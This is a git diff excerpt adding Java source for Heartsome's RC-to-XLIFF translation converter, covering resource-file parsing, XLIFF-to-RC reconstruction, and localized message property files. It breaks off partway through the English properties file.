+ prevChar = character; + } + + } + + /** + * Parses the words. + * @param separators + * the separators + * @param write + * the write + * @param withSeparator + * the with separator + * @return the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String parseWords(String separators, boolean write, boolean withSeparator) throws IOException { + String word = ""; //$NON-NLS-1$ + char lastChar; + char character = 'a'; // initial value any character not in + // separators + while (buffer.ready() && separators.indexOf(character) == -1) { + lastChar = character; + character = (char) buffer.read(); + if (character == '/') { + lastChar = character; + character = (char) buffer.read(); + if (character == '/') { + parseComment(write, false); + break; + } else if (character == '*') { // skip comments + parseComment(write, true); + break; + } else { // write the last two characters + if (write) { + writeSkeleton(lastChar); + writeSkeleton(character); + } else { + stack += String.valueOf(lastChar); + stack += String.valueOf(character); + } + word = word.concat(String.valueOf(lastChar)); + if (separators.indexOf(character) == -1 || withSeparator) { // return with the separator + // or not + word = word.concat(String.valueOf(character)); + } + } + } else if (character == '\\') { + lastChar = character; + character = (char) buffer.read(); + if (character != '\r' || character != '\n') { + if (write) { // must write and \character + writeSkeleton(lastChar); + writeSkeleton(character); + while (blankChar(character) && character != ' ') { + lastChar = character; + character = (char) buffer.read(); + writeSkeleton(character); + } + word = word.concat(String.valueOf(character)); + } else { // not write and \ character + stack += String.valueOf(lastChar); + stack += String.valueOf(character); + while (blankChar(character)) { + lastChar = character; + character = (char) buffer.read(); + stack += String.valueOf(character); + } + word = word.concat(String.valueOf(character)); + } + } else { + if (write) { + writeSkeleton(lastChar); + writeSkeleton(character); + } else { + stack += String.valueOf(lastChar); + stack += String.valueOf(character); + } + word = word.concat(String.valueOf(lastChar)); + if (separators.indexOf(character) == -1 || withSeparator) { // return with the separator + // or not + word = word.concat(String.valueOf(character)); + } + } + } else { // not is a special character (comment or \) + + if (write) { + writeSkeleton(character); + } else { + + stack += String.valueOf(character); + } + if (separators.indexOf(character) == -1 || withSeparator) { // return + // with + // the + // separator + // or + // not + word = word.concat(String.valueOf(character)); + } + } + } + lastWord = word; + return word; + } + + /** + * Capture string. + * @param startNow + * the start now + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void captureString(boolean startNow) throws IOException { + int quotes = 0; + if (startNow) { + quotes = 1; // now in the string + } + char character = ' '; + char lastChar; + String word = ""; //$NON-NLS-1$ + while (buffer.ready() && quotes < 2) { + lastChar = character; + character = (char) buffer.read(); + if (quotes == 0) { // not in the string yet + if (character == '"') { // begining of string + quotes++; + } else { // not in the string yet + writeSkeleton(character); + } + } else { // is in the string + if (character == '"') { // end of string Careful can be the + // \" escape character + if (word.equals("")) { //$NON-NLS-1$ + writeSkeleton('"'); + writeSkeleton('"'); + } else { // string is empty string + writeSegment(word); + } + quotes++; + } else { // midle of string + if (character == '\\') { // if is escape character + lastChar = character; + character = (char) buffer.read(); + if (character == '\n' || character == '\r') { + while (blankChar(character) && character != ' ') { + lastChar = character; + character = (char) buffer.read(); + } + if (character == '"') { // if end of string in + // first character of + // the next line + if (word.equals("")) { //$NON-NLS-1$ + writeSkeleton('"'); + writeSkeleton('"'); + } else { // string is empty string + writeSegment(word); + } + } else { // normal character in the line below \ + word = word.concat(String.valueOf(character)); + } + } else { // Normal escape character + word = word.concat(String.valueOf(lastChar)); + word = word.concat(String.valueOf(character)); + } + } else { // Normal character + word = word.concat(String.valueOf(character)); + } + } + } + } + } + + /** + * Parses the string table. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseStringTable() throws IOException { + String word = " "; //$NON-NLS-1$ + while (!beginBlock(word)) { + word = parseWords(" \n\t\r,", true, false); //$NON-NLS-1$ + } + + while (!endBlock(word)) { + stack = ""; //$NON-NLS-1$ + word = parseWords(" \n\t\r,\"L", false, true); //$NON-NLS-1$ + if (word.trim().equals("\"")) { //$NON-NLS-1$ + captureString(true); + } else { // is END or ID + writeSkeleton(stack); + } + } + } + + /** + * Parses the menu. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseMenu() throws IOException { + String word = " "; //$NON-NLS-1$ + while (!beginBlock(word)) { + word = parseWords(" \n\t\r,", true, false); //$NON-NLS-1$ + } + parseMenuBlock(); + } + + /** + * Parses the menu block. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseMenuBlock() throws IOException { + String word = " "; //$NON-NLS-1$ + while (!endBlock(word)) { + word = parseWords(" ,\n\t\r\"", false, true); //$NON-NLS-1$ + if (word.trim().equals("MENUITEM")) { //$NON-NLS-1$ + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + word = parseWords(" ,\n\t\r\"L", false, true); //$NON-NLS-1$ + if (word.trim().equals("\"")) { //$NON-NLS-1$ + stack = ""; //$NON-NLS-1$ + captureString(true); + } else { // SEPARATOR + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + } + } else if (word.trim().equals("POPUP")) { //$NON-NLS-1$ + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + parsePopup(); + } else if (word.trim().equals("\"")) { //$NON-NLS-1$ + stack = ""; //$NON-NLS-1$ + captureString(true); + } else { + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + } + } + } + + /** + * Parses the popup. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parsePopup() throws IOException { + String word = " "; //$NON-NLS-1$ + + while (!beginBlock(word)) { + stack = ""; //$NON-NLS-1$ + word = parseWords(" \n\t\r,\"L", false, true); //$NON-NLS-1$ + if (word.trim().equals("\"")) { //$NON-NLS-1$ + captureString(true); + } else { // is END or ID + writeSkeleton(stack); + } + } + + stack = ""; //$NON-NLS-1$ + parseMenuBlock(); + } + + /** + * Parses the dlg init. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDlgInit() throws IOException { + String word = ""; //$NON-NLS-1$ + while (buffer.ready() && !beginBlock(word)) { + word = parseWords(" \n\t\r,", true, false); //$NON-NLS-1$ + } + + parseDlgInitBlock(); + } + + /** + * Parses the dlg init block. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDlgInitBlock() throws IOException { + String word = ""; //$NON-NLS-1$ + int position = 0; // parse position in the dlginitblock + int dataLength = 0; + stack = ""; //$NON-NLS-1$ + while (buffer.ready() && !endBlock(word)) { + word = parseWords(" \n\t\r,", false, false).trim(); //$NON-NLS-1$ + if (!word.equals("")) { //$NON-NLS-1$ + if (word.equals("0") && position == 0) { //$NON-NLS-1$ + break; + } + switch (position) { + case 0: // id + dataLength = 0; + position++; + break; + case 1: // type + if (word.equals("0x403") || word.equals("0x1234")) { //$NON-NLS-1$ //$NON-NLS-2$ + position++; + } else { + position = 6; + } + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + break; + + case 2: // length + if (validateNumber(word)) { + dataLength = Integer.parseInt(word); // *****Controlar + // si no es + // un n�mero + position++; + } else { + position = 6; + } + break; + case 3: // end of align 0 + position++; + break; + case 4: // first time data + if (word.charAt(0) == '\"') { // case "/000" + position = 0; + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + break; + } + stack = ""; //$NON-NLS-1$ + writeSkeleton("###" + segId + "###,0 \r\n"); //$NON-NLS-1$ //$NON-NLS-2$ + position++; // go to the next case now without break + case 5: // midle of data + extractString(word, dataLength); + position = 0; + stack = ""; //$NON-NLS-1$ + break; + case 6: // not string + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + break; + default: + break; + } + } + } + writeSkeleton(stack); + stack = ""; //$NON-NLS-1$ + } + + /** + * Extract string. + * @param ini + * the ini + * @param dataLength + * the data length + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void extractString(String ini, int dataLength) throws IOException { + byte[] array = new byte[dataLength]; + String word = ""; //$NON-NLS-1$ + int i = 1; + int length = 0; + Integer tmpNum = Integer.decode(ini); + array[length++] = (byte) tmpNum.intValue(); + array[length++] = (byte) (tmpNum.intValue() >> 8); + tmpNum = null; + while (i < dataLength / 2 && buffer.ready()) { + word = parseWords(",\"", false, false).trim(); //$NON-NLS-1$ + if (word.charAt(1) == 'x' && word.length() > 3) { + tmpNum = Integer.decode(word); + array[length++] = (byte) tmpNum.intValue(); + array[length++] = (byte) (tmpNum.intValue() >> 8); + tmpNum = null; + } + i++; + } + if (dataLength % 2 > 0) { + while (!word.equals("\"000\"")) { //$NON-NLS-1$ + word = parseWords(",\n\t\r ", false, false); //$NON-NLS-1$ + } + } + writeSegment(new String(array, "UTF-8")); //$NON-NLS-1$ + } + } + + /** + * Validate number. + * @param num + * the num + * @return true, if successful + */ + private static boolean validateNumber(String num) { + try { + Integer.parseInt(num); + return true; + } catch (Exception e) { + return false; + } + } + + /** + * Checks if is end control statement. + * @param word + * the word + * @return true, if is end control statement + */ + private static boolean isEndControlStatement(String word) { + // list of all posible controls and END keyword + String[] controls = new String[] { "END", "CONTROL", "LTEXT", "CTEXT", "RTEXT", "AUTO3STATE", "AUTOCHECKBOX", //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ //$NON-NLS-7$ + "AUTORADIOBUTTON", "CHECKBOX", "PUSHBOX", "PUSHBUTTON", "DEFPUSHBUTTON", //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + "RADIOBUTTON", "STATE3", "USERBUTTON", "GROUPBOX", "EDITTEXT", "BEDIT", //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ + "IEDIT", "HEDIT", "COMBOBOX", "LISTBOX", "SCROLLBAR", "ICON" }; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ + + for (int i = 0; i < controls.length; i++) { + if (controls[i].equals(word)) { + return true; + } + } + return false; + } + + /** + * Blank char. + * @param c + * the c + * @return true, if successful + */ + private static boolean blankChar(char c) { + return c == ' ' || c == '\n' || c == '\t' || c == '\r'; + } + + /** + * Begin block. + * @param word + * the word + * @return true, if successful + */ + private static boolean beginBlock(String word) { + return word.trim().equals("BEGIN") || word.trim().equals("{"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * End block. + * @param word + * the word + * @return true, if successful + */ + private static boolean endBlock(String word) { + return word.trim().equals("END") || word.trim().equals("}"); //$NON-NLS-1$ //$NON-NLS-2$ + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Xliff2Rc.java b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Xliff2Rc.java new file mode 100644 index 0000000..a5000e4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Xliff2Rc.java @@ -0,0 +1,493 @@ +/** + * Xliff2Rc.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rc; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rc.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Rc. + * @author John Zhu + */ +public class Xliff2Rc implements Converter { + private static final Logger LOGGER = LoggerFactory.getLogger(Xliff2Rc.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "winres"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("rc.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to RC Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2RcImpl converter = new Xliff2RcImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2RcImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2RcImpl { + + // éª¨æž¶æ–‡ä»¶çš„å­—ç¬¦ç¼–ç  + private static final String UTF_8 = "UTF-8"; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + /** The catalogue. */ + private String catalogue; + + /** The dlg text. */ + private Hashtable dlgText; + + /** The dest temp. */ + private String destTemp; + + /** The encoding. */ + private String encoding; + + /** The output file. */ + private String outputFile; + + private boolean isInfoEnabled = LOGGER.isInfoEnabled(); + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + dlgText = new Hashtable(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + catalogue = params.get(Converter.ATTR_CATALOGUE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºå››ä¸ªéƒ¨åˆ†å…± 7 个任务,其中加载 xliff æ–‡ä»¶å  1ï¼Œå¤„ç† dlgInitExists å  2,替æ¢è¿‡ç¨‹å  2ï¼Œå¤„ç† dlgInitLengths å  2。 + monitor.beginTask("", 7); + infoLogger.logConversionFileInfo(catalogue, null, xliffFile, sklFile); + monitor.subTask(Messages.getString("rc.Xliff2Rc.task2")); + infoLogger.startLoadingXliffFile(); + File tempFile = File.createTempFile("tempRC", ".temp"); //$NON-NLS-1$ //$NON-NLS-2$ + destTemp = tempFile.getAbsolutePath(); + output = new FileOutputStream(destTemp); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(1); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rc.cancel")); + } + monitor.subTask(Messages.getString("rc.Xliff2Rc.task3")); + long startTime = 0; + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger1"), startTime); + } + dlgInitExists(params); + long endTime = 0; + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger2"), endTime); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger3"), endTime - startTime); + } + monitor.worked(2); + + IProgressMonitor replaceMonitor = Progress.getSubMonitor(monitor, 2); + try { + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rc.cancel")); + } + infoLogger.startReplacingSegmentSymbol(); + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor.beginTask(Messages.getString("rc.Xliff2Rc.task4"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + + line = buffer.readLine(); + while (line != null) { + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rc.cancel")); + } + cpb.calculateProcessed(replaceMonitor, line, UTF_8); + + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = target.getText(); + if (isPreviewMode || !"".equals(tgtStr.trim())) { //$NON-NLS-1$ + writeString(converDlgInit(tgtStr, code)); + } else { + // process source + writeString(converDlgInit(source.getText(), code)); + } + } else { + // process source + writeString(converDlgInit(source.getText(), code)); + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, MessageFormat.format( + Messages.getString("rc.Xliff2Rc.msg1"), code)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + + } else { + writeString(line); + } + + line = buffer.readLine(); + } + infoLogger.endReplacingSegmentSymbol(); + } finally { + replaceMonitor.done(); + } + output.close(); + buffer.close(); + monitor.subTask(Messages.getString("rc.Xliff2Rc.task5")); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger4"), startTime); + } + dlgInitLengths(params); + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger5"), endTime); + LOGGER.info(Messages.getString("rc.Xliff2Rc.logger6"), endTime - startTime); + } + monitor.worked(2); + tempFile.delete(); + result.put(Converter.ATTR_TARGET_FILE, outputFile); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rc.Xliff2Rc.msg2"), e); + } finally { + monitor.done(); + } + infoLogger.endConversion(); + return result; + } + + /** + * Conver dlg init. + * @param word + * the word + * @param code + * the code + * @return the string + * @throws Exception + * the exception + */ + private String converDlgInit(String word, String code) throws Exception { + if (dlgText.containsKey(code)) { + return decode(word, code); + } + + return new String("\"" + word + "\""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Decode. + * @param word + * the word + * @param code + * the code + * @return the string + * @throws Exception + * the exception + */ + private String decode(String word, String code) throws Exception { + dlgText.remove(code); + byte[] utf16Bytes = word.getBytes("UTF-8"); //$NON-NLS-1$ + String byteWord = ""; //$NON-NLS-1$ + Byte par = new Byte("00"); //$NON-NLS-1$ + int length = utf16Bytes.length; + + for (int i = 0; i < length; i = i + 1) { + if (i % 2 == 0) { + par = new Byte(utf16Bytes[i]); + } else { + Byte impar = new Byte(utf16Bytes[i]); + byteWord = byteWord + + " 0x" + Integer.toHexString(impar.intValue()) + Integer.toHexString(par.intValue()) + ", "; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + + if (utf16Bytes.length % 2 == 0) { + byteWord = byteWord + "\"\\000\" "; //$NON-NLS-1$ + } else { + if (length > 0) { + byteWord = byteWord + " 0x00" + Integer.toHexString(par.intValue()) + ", "; //$NON-NLS-1$ //$NON-NLS-2$ + } + byteWord = byteWord + " "; //$NON-NLS-1$ + } + length++; + dlgText.put(code, "" + length); + return byteWord; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + private void loadSegments() throws SAXException, IOException, ParserConfigurationException { + + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } + + /** + * Write string encoded. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeStringEncoded(String string) throws IOException { + output.write(string.getBytes(encoding)); + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Dlg init exists. + * @param params + * the params + * @throws Exception + * the exception + */ + private void dlgInitExists(Map params) throws Exception { + input = new InputStreamReader(new FileInputStream(sklFile), "UTF-8"); //$NON-NLS-1$ + buffer = new BufferedReader(input); + + line = buffer.readLine(); + while (line != null) { + + if (line.indexOf("###") != -1) { //$NON-NLS-1$ + // contains dlginit length + int index = line.indexOf("###"); //$NON-NLS-1$ + while (index != -1) { + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("###")); //$NON-NLS-1$ + line = line.substring(line.indexOf("###") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + dlgText.put(code, new Integer(0)); + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, MessageFormat.format( + Messages.getString("rc.Xliff2Rc.msg1"), code)); + } + index = line.indexOf("###"); //$NON-NLS-1$ + } // end while + } + line = buffer.readLine(); + } + } + + /** + * Dlg init lengths. + * @param params + * the params + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void dlgInitLengths(Map params) throws IOException { + outputFile = params.get(Converter.ATTR_TARGET_FILE); + output = new FileOutputStream(outputFile); + input = new InputStreamReader(new FileInputStream(destTemp), "UTF-8"); //$NON-NLS-1$ + buffer = new BufferedReader(input); + + line = buffer.readLine(); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("###") != -1) { //$NON-NLS-1$ + // contains dlginit length + int index = line.indexOf("###"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeStringEncoded(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("###")); //$NON-NLS-1$ + line = line.substring(line.indexOf("###") + 3); //$NON-NLS-1$ + writeStringEncoded((String) dlgText.get(code)); + index = line.indexOf("###"); //$NON-NLS-1$ + if (index == -1) { + writeStringEncoded(line); + } + } // end while + + } else { + writeStringEncoded(line); + } + line = buffer.readLine(); + } + output.close(); + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/Messages.java new file mode 100644 index 0000000..99c68c9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rc.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.rc.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message.properties b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message.properties new file mode 100644 index 0000000..f52bfdb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message.properties @@ -0,0 +1,20 @@ +rc.Rc2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +rc.Rc2Xliff.msg1 = RC \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#rc.Xliff2Rc.task1 = \u6b63\u5728\u8f6c\u6362... +rc.Xliff2Rc.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +rc.Xliff2Rc.task3 = \u6b63\u5728\u5904\u7406 dlgInit \u5185\u5bb9... +rc.Xliff2Rc.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +rc.Xliff2Rc.task5 = \u6b63\u5728\u5904\u7406 dlgInitLengths ... +rc.Xliff2Rc.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +rc.Xliff2Rc.msg2 = XLIFF \u8f6c\u6362 RC \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +rc.Xliff2Rc.logger1 = [LOG] \u5904\u7406 dlgInit \u5185\u5bb9\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger2 = [LOG] \u5904\u7406 dlgInit \u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger3 = [LOG] \u5904\u7406 dlgInit \u5171\u7528\u65f6\uff1a{} +rc.Xliff2Rc.logger4 = [LOG] \u5f00\u59cb\u5904\u7406 dlgInitLengths\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger5 = [LOG] \u5904\u7406 dlgInitLengths \u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger6 = [LOG] \u5904\u7406 dlgInitLengths \u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rc.TYPE_NAME_VALUE = Windows C/C++ \u8d44\u6e90\u6587\u4ef6 (RC) +rc.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_en.properties new file mode 100644 index 0000000..c4bf5f6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_en.properties @@ -0,0 +1,20 @@ +rc.Rc2Xliff.task1 = Converting... +rc.Rc2Xliff.msg1 = Failed to convert RC to XLIFF. Please try again. + +#rc.Xliff2Rc.task1 = \u6b63\u5728\u8f6c\u6362... +rc.Xliff2Rc.task2 = Loading XLIFF files... +rc.Xliff2Rc.task3 = Processing DLGINIT resources... +rc.Xliff2Rc.task4 = Replacing segment identifiers in the skeleton file... +rc.Xliff2Rc.task5 = Processing DLGINIT lengths... +rc.Xliff2Rc.msg1 = Can't find segment {0}. The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +rc.Xliff2Rc.msg2 = Failed to convert XLIFF to RC. Please try again. +rc.Xliff2Rc.logger1 = [LOG] \u5904\u7406 dlgInit \u5185\u5bb9\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger2 = [LOG] \u5904\u7406 dlgInit 